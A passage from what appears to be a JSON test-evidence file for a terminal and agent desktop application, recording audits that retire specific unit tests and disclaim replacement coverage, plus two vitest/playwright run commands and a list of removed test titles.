aggregation; preview-source frontmatter pruning, approved local/runtime agent dispatch, non-GitHub legacy PR cache invalidation, stale merged-head transient-error fallback, empty-queue immediate query reply and unverified-to-concrete preflight risk. Additional intentionally retired alarms are injected host subscription/unsubscribe counts, synthetic editor reveal/draft/fallback/scoped close, ambiguous unread refusals and hidden mark/read roundtrip, immediate connect backoff/noError, positive mirrored evidence-clock renewal, supplied VM failure/success projections and git-local/folder-SSH wake permutations. Remaining temporal/ownership cases are narrower; no equivalent replacement or fresh execution is claimed. Audit 3283 removes 20 authored declarations and 31 expanded scenarios, including two whole suites. Retired alarms cover PR refresh-state pruning, shared runtime subscription cleanup and store isolation, language content-change routing and older completion ownership, ordinary panel retry-timer cleanup and pending loading, four hosted-review lifetime permutations, mocked terminal creation error/order wiring, five sleep-inventory variants with pending-frame-only assertions, palette fallback/composite highlights, Windows/UNC encoded-editor input rows, mixed-repository partial failure counts, title setters and generated-title bypass/replacement, five window-close coordinator delegation/guard/finally branches, and ambiguous-old-record frame reveal. These regression checks are intentionally lost under the test-value audit; retained cases are not equivalent replacements. Prior coverage notes and receipts remain historical. Audit 3273 removes 14 authored declarations and 19 expanded scenarios across four whole suites and eight partial suites. Retired alarms cover saved-local cancellation/layout ownership, ambiguous-owner warning reset, folder attachment routing, VM false-capability bypass, abandoned reveal warmup cleanup and viewport claim deduplication/rearming, quiet unrelated remote-removal refusal, startup-command one-shot consumption, repository/floating recovery-ledger rows, fake-React pinned-scroll intent, split-ratio state identity/subscriber suppression and fractional change, cross-host project-group join refusal, three PR request-lifetime permutations, upstream-status preservation on error, and unresolved Git-owner refusal. These regression checks are intentionally lost under the test-value audit; retained scenarios are not equivalent replacements. Historical coverage receipts remain historical, including gate35 subscriber claims. Audit 3256 removes these specific alarms from the broad root unit commands: skill dialog active-share selection, close and pending-share handoff; simple keyed-record deletion; marker live-region insertion, simple landing and nine baseline policy examples; General search/control navigation inventory; orphan-count cache bootstrap; seven Codex code classifications and HTTP 429 warning mapping; two skill unread-root verdict examples; peer-mail payload and conversation-ID rejection; and the GitHub organization TABLE text-field optimistic rollback/failed-envelope example. These include real behaviors; retained tests do not provide equivalent coverage for every removed scenario. Mobile losses are recorded separately and are not coverage of these root commands. Audit3246 retires NewRowsMarker reveal/no-repeat and pane-scoped beforeinput checks; skill-owner option availability/count/dedup/order; six styled Input/Textarea IME forwarding rows; the static Codex/OpenCode smart-key inventory; tab-map AST ratchet diagnostic fixtures; child-roster work-budget and retained-aggregate alarms; malformed persisted floating-cwd fallback/no-crash/empty exact-root checks; the unanswered-host empty-list discriminator; the direct invalidated-cache commit-false assertion; one redundant digit-keyup IME row; cached non-supported Claude title-generator rows; and the duplicate late naming-result singleton. These root broad commands lose those specific alarms without equivalent replacement. Distinct retained owner/state checks have their own bounded claims; the real scheduler still rejects stale response data, while the direct false-return alarm is retired. Audit3231 retires supported-host restore-pane key mapping, closed/open creation-sidebar toggle visibility, unrelated scope-error/null classification and quick-submit reveal/no-create checks. These broad commands lose those real narrow alarms; no replacement coverage is claimed. Audit3219 removes the synthetic Cmd+J extra-source suite; this broad command no longer checks its match/tie placement and selection, announced count, empty-query cap, or workspace hiding with retained recent tabs. No replacement coverage is claimed. Audit3209 composes approved sources3202/3206: deliberately retires seven authored/expanded cases in four whole suites without equivalent replacement. Work-item queries lose real GitHub/GitLab oversized ASCII secret-prefix empty-query and whitespace-before-trim refusal alarms; inputs share the imported size bound and exercise only its fast length branch, with no multibyte or actual provider/exposure guarantee. Skill sharing loses complete/partial managed-bundle and destination-ambiguity association checks plus three negative origin/path/scheme admission examples; these do not establish uploaded contents, arbitrary-URL fetching, authorization or execution. Retain exact originless-project direct-link fallback, cloud-delete confirmation, bundled-target repair/owner isolation and explicit Windows-host preference over stale WSL suites. Rejected3201 runtime-preference removal is excluded. No real cloud/network/host/disk, mobile or mixed-version execution validation is claimed. Audit3200 composes approved source3194: deliberately retires thirteen authored registrations/twenty-seven expanded cases in six whole automation host/list policy suites without equivalent replacement. Real RPC category/retryability and wrapped-timeout recognition, unscoped-failure/scoped-success health evidence precedence, exact-ID create selectors and per-run workspace omission, paired-web local/SSH/absent host catalog routing, incompatible/removed/unhydrated/offline execution health, runtime-before-nested-SSH recovery dispatch, and no-owned-focus/successor/foreign-list focus policy alarms are consciously lost. Retain exact20line orphan allow/refuse/precondition and exact90line cross-host same-ID search suites. No retry-timer/fence lifecycle, actual reconnect/network/write delivery, native focus, mobile/mixed-version runtime or disk persistence coverage is claimed. Audit3191 combines approved source3182/3187/3188: deliberately retires thirteen authored Vitest registrations and fifteen expanded cases, including five whole suites, without equivalent replacement. Attachment intake loses real portal/native-capture terminal interception and unowned-container refusal, immediate child-only committed availability/claim-ref negotiation and delivery, and direct-target over stable focused/background composer routing through disable/re-enable/remount and independent question focus. Exact destination/cache/draft and final-stat owner/workspace/File-release suites remain; they do not replace Surface recipient routing. Automation authoring loses destination runtime catalog membership, local/direct-SSH exclusion of paired-runtime repos, unknown-runtime empty catalog, logical project/host/setup/repo/path context payload, and missing/nonready setup refusal; these were genuine direct helper alarms, while exact schedule transformation, legacy schedule and setup-decision suites remain. Agent picker loses setup-chat/terminal/missing-installer/unsupported-or-unknown-host row projection samples and the ordinary unsearched menu variant; the entire original26-line resume recipe suite remains, including reported bypass versus default/absent permission modes, as does the exact search-result menu callback with its fixtures, model/effort commits and staged Arguments reopen outcome. Rejected predecessor3180 full recipe deletion is excluded. No actual native drag/cursor/focus/IME, upload bytes or disk/restart persistence, full automation save/scheduler/runtime transport, real resume-process flags/environment delivery, or native menu/rendered layout validation is claimed. Audit3178 combines source3169/3170/3175: deliberately retires eight authored units (six Vitest cases and two imperative custom relay scenarios), including two whole suites, without equivalent replacement. Voice Section loses per-model pending-delete isolation across interleaved A/B completion and the two-success refresh-call alarm; exact VoicePane delayed key-clear/newer enabled-toggle merge remains and does not replace row deletion coverage. Speech loses dedicated rating-scale/inclusive-ceiling, unsupported-versus-unmeasured, explicit/system-language precedence/locale alias, accuracy versus fast named/default/best-measured selection, and unmeasured/no-match examples; exact offered-user-pick versus retired-selection case and its fixture remain. Relay loses legacy ping-delivery count/liveness sampled before the silence deadline and grouped malformed Bearer/host-ID 401/429 routing checks; twelve real Worker/DurableObject/shipped-client scenarios remain, not equivalent replacement for those narrow alarms. Six prior speech cases are not all deleted: approved successor3175 keeps the original user-choice case. No actual credential/file persistence, native/GPU/engine/download delivery, production assignment policy or deployed-runtime validation is claimed by this reduction. Audit3165 combines source3160/3162: deliberately retires six authored/expanded cases across three whole suites without equivalent replacement. Launch/status losses: observed React-render pending/resuming coordination across settings and deferred offer read; stale-offer reread suppressing dialog reopen; held-local-chat recovery visibility with new-chat preferences off; disabled-local admission avoiding offer RPC despite an injected but unconsumed paired-tab fixture; and run-only lost-reply uncertainty reachability until direct viewed-run retirement. Launch probe does not prove arbitrary synchronous-store atomicity, the paired fixture is not remote runtime enrollment, and the status case directly marks viewed state rather than rendering the summary. Crew-hook losses: old-host method_not_found cache persists across party changes but is released by independently supplied connection generation/verified pairing status or pairing revision, with actual frame publication and teardown. These are real narrow coordination, admission, uncertainty and mixed-version cache alarms consciously lost. Exact web verified-runtime writer handoff guard remains; it does not replace those alarms or prove live host/native/mobile delivery. Audit3156 combines3147/3150/3152/3153/3154: deliberately retires39authored/40expanded native-chat recovery cases, eight whole suites and two orphan test-support files without equivalent replacement. Lost alarms: lost-reply unconfirmed reconciliation, skipped rows/counts and missed-frame repair, unknown/pending outcome and omitted-failure-list compatibility, uncertain history after dismissal, retry/refusal/dismiss lifecycle, hidden/consumed picker ownership, result-tree keyboard focus/disclosure and all-skipped retirement; unconfirmed-over-conflict guidance and failed-chat changes despite older host timestamps; nearest-listed ancestor/cyclic forest shape, descendant membership, host ordering/missing-host local fallback; skipped/readiness/admission counts, provisional skip/progress monotonicity, early per-chat verdicts with batch pending protection, older-host waiting, start-slot/delivery distinction, retry-over-failure and unknown-after-withdrawal attention; remote snooze/reconnect/reoffer, unseen mixed summary through open/close, watched completion retirement, new success beside old failure, failed-reread mixed-result preservation, filter/collapse completion resets, retry summary replacement and current-offer/history selection; cross-host workspace identity, rendered cyclic reachability, nested tri-state/toggle propagation, project eligibility isolation and collapse preserving selection. Exact fallback-list completion barrier, batched verdict/cleanup retention, stale-read versus dismissal publication race, and requested-but-never-rendered finished-run retirement remain; they do not replace retired alarms. Audit3146 combines source reviews3132/3133/3135/3138/3143: intentionally retire20authored/31expanded cases without equivalent replacement. Provider-session losses: structured-native terminal-resume exclusion, metadata-less completed identity, new-turn completion clearing, Pi provider-only/periodic/manual promotion, changed-transcript launch-config isolation, Pi/omp/prime-agent completed-session remote/manual-shutdown promotion, and quit/done precedence over heartbeat. Side-thread/question losses: finished-pane acquisition, hidden title/recap states, local/relay/relay-done conversation takeover with prompt/session/child resets, plain-message abandonment, compaction/session replacement and completion resets. Codex startup losses: incoming-owner cached child replacement, old-relay foreign live-session correction, completed foreign-root turn-fact permutations. Transcript losses: real temporary-JSONL partial sibling/final-child completion, unlabelled child attribution, compact cached replay preservation and100/1000completed-child roster retention/release. Compiler-ratchet losses: valid-line uncompiled-list parser grammar examples and injected-existence stale-path filtering; these did not exercise actual filesystem canonicalization or build exclusion. These are real lifecycle, ownership, replay, liveness and retention alarms, including recent#40246 regressions, deliberately lost. Retained conditional record replacement, clockless root/SSH owner isolation, persisted main-thread fork rejection, partial/final question-answer lifetime, cached-roster/missing-ID/live HTTP/durable startup boundaries and restarted-relay refusal/acceptance do not replace those losses. No native/SSH/WSL execution or equivalent coverage is claimed. Audit3128 scoped coverage reduction: Audit3121 removes VoiceDictationLanguageSetting.test.tsx (Spanish-to-es callback and unsupported-model Korean option presence) and voice-speech-model-rows.test.ts (provider/language-order/retired-on-disk list policy); these real narrow alarms are deliberately retired without replacement. VoiceSpeechModelSection per-model concurrent deletion remains unchanged. Audit3122 removes the direct absolute/parent-segment sparse-directory exception-type sample and the five-row IPC sparse-preset error-code/non-save table (two authored/six expanded cases). Those real typed-validation and IPC refusal/error-code alarms are deliberately retired. Keep both real symlink/junction floating-directory trust cases and the minimal RPC structured validation-reason serialization case. The RPC case does not replace IPC save/refusal behavior, typed normalization for both path inputs, actual Git sparse checkout or rendered localization. No equivalent replacement or fresh test/runtime/platform/remote/performance validation is claimed. Audit3124 removes ExperimentalPane.test.tsx (ordinary Pet switch callback), WorkspaceDirectorySetting.test.tsx (padded absolute saved-path normalization/no-write blur), and repository-search.perf.test.ts (navigation/selected-pane builder-call policy, fixture cardinality/nonempty entries and renamed project keyword inclusion). These real narrow alarms are retired without replacement; RepositoryPane.search.test.tsx search-to-sparse-editor request remains unchanged. Audit3129: resolver Windows case-insensitive and POSIX case-sensitive configured-env composition plus mocked-base launch-preflight Windows composition are intentionally no longer checked by the two deleted suites. No equivalent coverage claimed. Keep runtime-structured-agent-host-env.test.ts unchanged: configured Windows Claude-home account identity and host-account precedence remain checked. Audit3114 incorporates source3101: retire three structured Claude child-environment wrapper cases covering inherited stamp isolation/default and explicit entrypoint, Windows SDK-key canonicalization/default/duplicate-key order, and configured lookup/final environment/config-dir conjunction. Keep direct auth/session sanitation and Windows-versus-Linux overlay checks, actual executable lookup from supplied inherited PATH, native Windows child environment delivery, and stale option-mutation fencing. These are not equivalent replacements for the retired wrapper alarms. No fresh test/runtime, real login-shell probe, Claude SDK startup, remote/mixed-version, UI or performance result is claimed. Audit3114 incorporates source3105: retire 17 authored/20 expanded daemon launch-note cases, including the entire two-case SessionLaunchNote suite. Deliberately lose split-marker carry across same-token re-arm, stale-token retirement refusal, foreground tri-state and serial settlement, omitted-note/no-incarnation mixed-version policy, sticky retirement, first-incarnation/replacement launch preservation and held-launch precedence. Keep only the unchanged unresolved foreground-read race against a later finished attach. Supplied notes/foreground and runtime calls do not establish actual daemon/main restart, SSH, native Windows observation, mobile UI, equivalent replacement or fresh runtime/performance validation. Audit3114 incorporates source3109: retire six authored/35 expanded pricing cases: 21 accepted model-name examples, 10 unsupported/future-model fail-closed examples, malformed TTL clamp, unknown-model estimate refusal, flat-model long-context disregard and oversized long-context clamp. Keep mixed five-minute/one-hour write allocation and short/all-long/mixed long-context allocation with original fixed oracles. Real parser/refusal/bounds alarms are knowingly lost without equivalent replacement; retained tests do not validate provider rates, actual billing or request threshold classification. Preserve the archived usage-scan-append source-freeze receipt without transferring historical execution/performance credit. No fresh runtime result is claimed. Audit3108 source-only reduction (3094/3095/3100): retire 27 authored/30 expanded cases, including complete markdown view-state, file-preview link-open and CLI agent-server-route suites, without replacement. Deliberate losses include preview visibility/reference lifetime and same-path owners; SSH stat, directory/missing-target, explicit-null owner, nonmarkdown line/column, local URI routing, remote-to-client guard and same-file reuse; document-preview source-owner/folder/reuse routing, stable grant location and outside-workspace POSIX/Windows request projection; and verified remote CLI send/check refusal, suggested --on argv/copy, shell no-probe bypass, unverified-launch admission and older-peer refusal. Retain two markdown source-runtime/qualified-reveal alarms, one stale grant-rejection fence and two remote read/mutation evidence policies, with original callbacks. Final last-wins reveal did not prove transient cancellation; CLI prerequisite did not prove no real send, and envelope tests do not execute server refusal. No fresh runtime, rendered UI, actual file/SSH/paired transport, authorization, mixed-version or performance result is claimed. Audit3096 source-only reduction (3087/3088): retire 69 authored/76 expanded cases, including complete recovery-portals and reconnect-banner suites. Intentionally lose dead/default TUI replay, generated alternate-frame style composition, reset/mode/dimension and legacy missing-mode-boundary alarms, UI notice/action/reveal policies, and isolated recovery lifecycle variants, without equivalent replacement. Retained registrations and callbacks are unchanged; headless cells are not pixels, and no fresh runtime, host, SSH, WSL, rendered-app or performance result is claimed. Audit3086 source-only reduction (3079/3080/3081): intentionally retire 93 authored/100 expanded mock-boundary cases, including the complete spawn-errors and SSH reconnect overlay suites, without replacement. Retired alarms include spawn classification/ownership, reply ceilings and renderer-write failure recovery, disconnect/detach fencing branches, authority facts, and overlay retry/visibility wiring. Retained callbacks are unchanged; no fresh execution, real PTY/SSH, rendered UI, or performance result is claimed. Audit2432: The broad unit command loses the isolated BranchPicker open-change notification sample. Its unique true/false callback alarm is intentionally retired; reopening/status-refresh behavior was not exercised. No equivalent replacement or fresh validation of the reduced selector is claimed. Audit2425: The broad unit command loses the workspace-copy-status supplied readError forwarding sample. It did not exercise the branch-switch blocking promised by its title. This alarm is intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2417: The broad unit command loses two ordinary clean Git cherry-pick/revert success samples and two terminal startup foreground-read work-budget samples. These unique alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2412: The broad unit command loses the whole six-case fake-React-hook scroll-anchor suite, two generic draft-retention samples, a simple new-agent order sample, a real history-publication batching-count sample, an unmounted handoff abort/timer sample and three basic WSL preview/error samples. These alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2404: The broad unit command loses the standalone share-name lookup 503 propagation suite, initial deletion placement-kind sample, direct changed-mtime stale sample, first-pass rollback existence example and abandoned-preparation directory sample. These exact alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2397 review amendment: The broad unit command loses three standalone suites, two partial-case definitions and two URL table rows across package/download/placement tests. Keep initial wrong-port authorization, modified independent-copy digest refusal and abort-after-begin cancellation dispatch. The remaining alarms are deliberately retired; no equivalent complete replacement or fresh validation of the reduced selector is claimed. Audit2393 current-parent refresh2401: Remove the basic skill-install service alias sample and original public managed-remove receiptless refusal case. Preserve the upstream request ownership suite and transaction interruption coverage. No equivalent complete replacement or fresh validation of the reduced selector is claimed. Audit2389: The broad unit command loses the missing-preview suite, plain-global destination sample and prepublished-receipt recovery example. No equivalent replacement or fresh validation of the reduced selector is claimed. Audit2385: The broad unit command loses four authored walker/staging/protocol examples (six expanded cases); no equivalent replacement or fresh validation is claimed for the reduced suite. Audit2383: The unscoped Vitest command no longer includes the removed Antigravity catalogue suite; its exact provider-root/owner example has no equivalent replacement or fresh validation claim. Audit2377/2381: The unscoped Vitest command includes the reduced bundled-skill and native-discovery suites; the eight removed backup/legacy/catalogue/symlink/SSH-builder examples have no replacement-equivalence or fresh validation claim here. Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): The main IPC contract test subscribes terminal.multiplex through the real handler, disconnects the environment, and asserts the renderer received exactly one {type: close} subscription event. Two isolation tests subscribe a second stream to the same environment and make the first one fail -- in its socket close, and in the liveness probe inside notifyClosed -- then assert the disconnect does not throw, both transports closed, and every close the renderer could still receive was delivered. A third drives a host-initiated close through the transport callback, which is the one notifyClosed call site with no surrounding guard, with a renderer send that throws, and asserts it cannot escape into the WebSocket close handler. A fourth test asserts that after retirement a late response frame is not forwarded and a late transport close does not re-send. The paired-server journey runs three reveal scenarios against one real host and one real paired desktop client, and for each records buffer restore, host-side receipt of the typed marker through an out-of-band host sink file, live paint without a tab flip, and PTY-versus-pane grid convergence.",
       "commands": [
         "pnpm exec vitest run --config config/vitest.config.ts",
         "pnpm exec playwright test tests/e2e/paired-remote-terminal-parked-reveal-interactivity.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1"
@@ -4273,6 +4183,7 @@
         "Add real sleep/wake and network-loss transport drops alongside the explicit disconnect trigger."
       ],
       "knownGaps": [
+        "Launch direct-owner cleanup current scope: This gate’s unfiltered unit command now selects a suite reduced by 82 whole registrations  / 159 potential table examples in 10 whole test Programs, including 8 registrations / 15 examples from five once-registered create-message factory closures. Lost alarms include frozen first-message/options and legacy-host fallback; distinct actions and redelivery; uncertain/refused/reloaded input custody, Retry and late proof; rich prompt/attachment upload Stop/close and handback; ordinary draft/editor/IME/StrictMode lifetime and accepted topology; provisional fallback tab placement/group/pin/order and rich worktree handoff. Four whole consent/resume-identity cases remain in two Programs; they do not replace these alarms. This entry governs current reduced-unit scope and qualifies any broader implication of unchanged oracle/coverageNotes history. Entire dated evidenceRuns, original commands/currentCommand values, counts/results and existing history retain their original scopes only; no fresh execution, transferred pass, replacement equivalence or prior upstream-removal credit is claimed.",
         "Audit2133 current-parent preparation (988 authored removals; independently reviewed2099/2107/2115/2116 decisions; upstream clear-buffer and recovery-image regressions retained): Intentionally retire these low-value alarms without replacement: src/main/persistence/worktree-sort-order-write.test.ts: re-ranks every writable row when a blocked row sits in the requested order. src/main/runtime/construction/orca-runtime.test.ts: remove only literal registration import/call pairs await import('../orca-runtime-tests/worktree-setup-and-startup.spec'), await import('../orca-runtime-tests/gitlab-and-pr-bases.spec'); no additional authored credit. src/main/runtime/orca-runtime-tests/targeting-and-resilience.spec.ts: routes tab switch and capture start by explicit page id; accepts focus on tab switch without altering bridge args (focus is main-side concern); keeps terminal cwd resolution fail-soft when the provider is unavailable. src/main/runtime/orca-runtime-tests/worktree-removal-and-reconciliation-part-04.spec.ts: drops the bounded scan cache when orphan-cleanup removal completes; clears optimistic reconcile tokens when a CLI worktree removal succeeds; emits drift without mutating when the fetched base fast-forwards created HEAD; emits base_changed without mutation when the fetched base rewrote history; skips stale-token reconciles without mutating or emitting stale status; emits unknown without mutation when fetch fails or the base ref is missing. src/main/runtime/orca-runtime-tests/worktree-removal-and-reconciliation-part-03.spec.ts: routes runtime preserved-branch force-delete through the selected WSL project runtime; replies to a waiting client with the error of a delete that fails after acceptance; treats forced runtime deletion of an already-missing unregistered worktree as cleanup; treats normal runtime deletion of an already-missing unregistered worktree as cleanup. src/main/runtime/orca-runtime-tests/worktree-removal-and-reconciliation-part-02.spec.ts: warns that a missing-repo removal only forgot the workspace; restores runtime watchers when CLI worktree deletion fails after teardown; does not re-spend the drain budget on a removal after a wedged install was abandoned; routes runtime worktree removal through the selected WSL project runtime; force-deletes a branch that was preserved by runtime worktree removal. src/main/runtime/orca-runtime-tests/gitlab-and-pr-bases-part-02.spec.ts: records GitLab pasted-project recents only after successful runtime lookup; threads explicit origin preference through runtime WSL PR base resolution; resolves local GitLab fork MR bases from the target project MR head ref; captures the fork MR head from a dedicated ref, not the shared FETCH_HEAD; keeps the durable MR head when the head fetch fails but the local ref resolves; routes runtime GitLab fork MR base git calls through the selected WSL project runtime. src/main/runtime/orca-runtime-tests/gitlab-and-pr-bases.spec.ts: passes SSH connection ids through GitLab task operations; routes runtime GitLab issue, MR, work-item, and todo actions through the selected WSL project runtime; routes runtime GitLab MR details, review-management, job, and pasted URL actions through the selected WSL project runtime; normalizes runtime GitLab issue list arguments like the desktop IPC path. src/main/runtime/orca-runtime-tests/worktree-setup-and-startup-part-03.spec.ts: does not warn when setup is explicitly skipped for CLI-created worktrees; puts the agent a create starts in the first default tab, as the window does; keeps the 8s main-runtime startup readiness budget for agents without an override; gives OpenCode the 20s main-runtime startup readiness budget; launches explicit startup agents with prompts for CLI-created worktrees. src/main/runtime/orca-runtime-tests/worktree-setup-and-startup.spec.ts: returns a setup launch payload for CLI-created worktrees when hooks are explicitly enabled; does not hand the window a setup main never tried to start; passes the selected Windows setup shell into runtime runner generation; follows normal setup policy for CLI-created worktrees without activating them; uses returned WSL setup shell metadata when runtime spawns setup; uses the shell-aware setup runner for windowless creates without a startup command; reports the in-process setup hook as running when nothing can launch the runner. src/main/runtime/orca-runtime-tests/terminal-sleep-and-teardown-part-02.spec.ts: coalesces two clients sleeping the same host worktree; stops exactly the expected live PTYs for a worktree; explains a refused workspace close instead of throwing the raw refusal enum. src/main/runtime/orca-runtime-tests/mobile-summaries-part-03.spec.ts: marks the desktop-active worktree as isActive; includes SSH-backed worktrees in the mobile worktree summary; caches repeated malformed path misses before normalizing them again. src/main/runtime/orca-runtime-tests/mobile-summaries-part-02.spec.ts: keeps title-only foreground work ahead of monitoring in another pane; keeps a local hook row while a connected PTY still backs its pane; keeps an OSC row via its connected PTY after the pane binding is cleared. src/main/runtime/orca-runtime-tests/mobile-summaries.spec.ts: resolves files through a source-visible linked-checkout worktree; marks saved session tabs with live PTYs as host sidebar activity; attributes live legacy PTYs from saved layout bindings when their panes are hidden; marks saved browser tabs as host sidebar activity like desktop; falls back to the path-keyed GitHub cache entry; includes folder workspaces in compact worktree summaries for mobile; attaches inline agent rows from the latest OSC 9999 status; projects monitoring over a title-derived working status. src/main/runtime/orca-runtime-tests/mobile-creation-and-orchestration-part-03.spec.ts: pushes to an idle pane when the only live waiter filters out the message type; resolves a registered waiter without PTY-injecting when the leaf is already idle; keeps already-idle status after tui-idle wait for immediate message delivery; resolves message waiters when notifyMessageArrived is called; does not resolve type-filtered message waiters for unrelated message types; removes message waiter abort listeners after message arrival; resolves message waiters on timeout when no message arrives. src/main/runtime/orca-runtime-tests/mobile-creation-and-orchestration-part-02.spec.ts: delivers pending mail via notifyMessageArrived when the recipient is already idle; does not keep retrying when every pending row was already pointed; repoints pending rows restored with a live-idle coordinator. src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-13.spec.ts: rolls back a half-created terminal whose surface never publishes. src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-12.spec.ts: rejects startup prompts for agents that require post-ready stdin; uses portable Unix quoting for mobile agent launch commands in WSL project runtimes; keeps PowerShell quoting for mobile agent launch commands in Windows host runtimes; uses cmd.exe quoting for mobile agent launch commands in local Windows host runtimes; publishes headless mobile session agent identity with synthesized PTY status; rejects disabled mobile session agent launches before spawning; validates mobile terminal insertion anchors before resolving agent launch commands. src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-11.spec.ts: coalesces a reconnect close burst onto one authoritative PTY inventory; keeps an explicit user close destructive while the PTY is live; builds mobile session agent launch commands on the runtime host; injects mobile quick-command prompts into the host-built agent startup command. src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-10.spec.ts: closes persisted headless terminal parents before any prior list call; tears down a serve-owned headless tab on close while a renderer is attached so it cannot resurrect; defers a renderer-published pending tab to the renderer instead of tearing it down; returns a delegated close outcome with no selection tombstone when the renderer owns the outcome; tears down a runtime pending shell the renderer never adopted on close. src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-08.spec.ts: materializes a plain shell when the pending tab has no launch agent; hydrates legacy persisted terminal tabs without layout entries; reads and indexes the full agent-status snapshot once per mobile projection; kills persisted SSH PTYs when closing hydrated headless tabs before pane metadata is restored; materializes hydrated pending headless terminals with the persisted session identity. src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-07.spec.ts: hydrates a persisted SSH-owned pane before an attached renderer publishes its graph. src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-05.spec.ts: publishes the desktop's tab name over the live agent title, and the live title without one; uses fresh neutral PTY titles over stale mobile snapshot and OSC titles; operates PTY-backed mobile session terminals without a renderer graph; reuses pane close for live PTYs that do not own a renderer tab; lists PTY-backed mobile session terminals without a renderer graph; shows and resolves active PTY-backed mobile session terminals without a renderer graph. src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-04.spec.ts: creates mobile session terminals for folder workspaces in a headless runtime server; spawns fresh headless SSH mobile session terminals instead of reattaching synthetic local ids; hydrates headless mobile session terminals from the host workspace session; keeps live headless mobile session terminals when a desktop renderer publishes without them; publishes laptop-created remote runtime split terminals to phone session tabs. src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-02.spec.ts: does not report headless wake degradation without sleeping records; does not wake slept agents for non-mobile session-only activation; does not rewrite unread metadata when a mobile activation finds the worktree already read; returns unread:false from worktree.ps after a mobile activation clears the flag; materializes pending mobile session terminals without focusing desktop clients; closes browser mobile session tabs when addressed by browser workspace id. src/main/runtime/orca-runtime-tests/mobile-session-tabs.spec.ts: resolves mobile terminal surfaces by exact split leaf; closes the matching mobile terminal UUID leaf without closing the whole tab; closes the whole mobile terminal tab when addressed by parent tab id; activates the active split leaf when addressed by parent tab id; clears unread metadata on mobile worktree activation without focusing desktop clients; wakes slept agents on the host renderer when a phone activates a worktree. src/main/runtime/orca-runtime-tests/terminal-handles-and-agent-status-part-05.spec.ts: publishes the hook provider session on a headless mobile tab so native chat can address the transcript; recovers the agent type from the hook row when the pane was launched without an agent hint; reads one agent-status snapshot per projection, not one per terminal tab; waits for unknown-launch foreground owner before publishing Pi-compatible mobile status; keeps Pi-compatible mobile session status as Pi for an unknown-launch foreground pi PTY; keeps renderer-vetted mobile agent status for custom-titled terminals. src/main/runtime/orca-runtime-tests/terminal-handles-and-agent-status-part-04.spec.ts: publishes terminal surface agent status for paired web clients; preserves authoritative OMP identity for Pi-compatible remote terminal snapshots; normalizes a remote OMP title without republishing omitted launch identity; skips the foreground-process probe when the PTY launch agent is already known; probes the foreground process only on a status transition for unknown launch agents; passes the client signal and the slept-worktree refusal to the spawn. src/main/runtime/orca-runtime-tests/terminal-handles-and-agent-status-part-03.spec.ts: does not use stale runtime-created PTY status when a neutral PTY title exists; recognizes runtime-created Codex PTY handles from the ready prompt; recognizes runtime-created Antigravity PTY handles from the ready prompt; recognizes live leaf Antigravity terminals from the ready prompt; recognizes a later Antigravity header with a prompt but no model line; keeps mobile terminal surfaces visible while their leaf handle is pending. src/main/runtime/orca-runtime-tests/terminal-handles-and-agent-status-part-02.spec.ts: lets Claude agents management titles clear stale runtime-created title status; does not recognize live Claude agents panes from a Claude foreground process; does not let stale tab-level agent titles override current neutral pane titles; lists live terminals with fresh pane titles over stale tab titles; lets adopted neutral pane titles use non-shell foreground fallback; lets adopted neutral pane titles retry wrapper foregrounds until recognized; authorizes settled CLI prompts only after positive %s foreground identity; does not recognize arbitrary foreground TUIs as running agents; lets live neutral pane titles retry wrapper foregrounds until recognized; lets current Claude agents PTY titles override stale runtime-created OSC titles; does not let stale Claude agents OSC titles suppress current PTY title activity. src/main/runtime/orca-runtime-tests/terminal-handles-and-agent-status.spec.ts: keeps preallocated terminal handles valid across renderer reloads; preserves runtime-created PTY process identity after graph unavailable; keeps prompt bindings fenced across runtime restarts without provider incarnation; recognizes runtime-created PTY handles with agent launch titles; does not treat a bare Cursor Agent native title as a running agent session; uses stale runtime-created PTY status when there is no title or foreground evidence. src/main/runtime/orca-runtime-tests/terminal-output-and-worker-recovery-part-07.spec.ts: keeps orphaned list and show writability aligned with the send gate. src/main/runtime/orca-runtime-tests/terminal-output-and-worker-recovery-part-04.spec.ts: cancels a coalesced SSH worker recovery retry when its provider disconnects. src/main/runtime/orca-runtime-tests/terminal-output-and-worker-recovery-part-03.spec.ts: retries renderer reveal before clearing an adopted legacy worker sleeping record. src/main/runtime/orca-runtime-tests/terminal-output-and-worker-recovery-part-02.spec.ts: recovers exported ORCA_TERMINAL_HANDLE from discovered live PTY sessions. src/main/runtime/orca-runtime-tests/terminal-creation-and-readiness-part-12.spec.ts: applies ANSI erase-from-start line controls in retained previews; applies ANSI stripping for private or intermediate CSI line controls; applies ANSI stripping for unsupported erase-line modes; reveals an agent terminal under the pane the caller reserved; keeps a fresh %s pane host-owned when a desktop window is available; keeps desktop publication %s separate from the reserved host spawn; mints its own pane when the reserved leaf is malformed, and reports the one it used; starts an agent terminal with the model the caller picked; starts an agent terminal without a model flag when no pick was made; attributes a startup-agent launch named %s as %s; attributes a fresh agent session the host builds as unknown; leaves a bare agent command the user typed out of launch attribution. src/main/runtime/orca-runtime-tests/terminal-creation-and-readiness-part-11.spec.ts: trims oversized terminal output bursts without per-line array shifts; builds terminal previews without mapping the full retained tail; keeps recent PTY replay output capped without needing previous data for large chunks; applies terminal redraw controls before retaining previews; applies ANSI terminal redraw controls before retaining previews; retains multi-line ANSI footer redraws instead of appending old frames; keeps the cursor column when erasing full lines in multi-line redraws; applies ANSI split redraw controls without leaking raw params. src/main/runtime/orca-runtime-tests/terminal-creation-and-readiness-part-10.spec.ts: returns renderer visible screen lines through terminal.read RPC JSON result; separates composer drafts from provider-owned terminal screens. 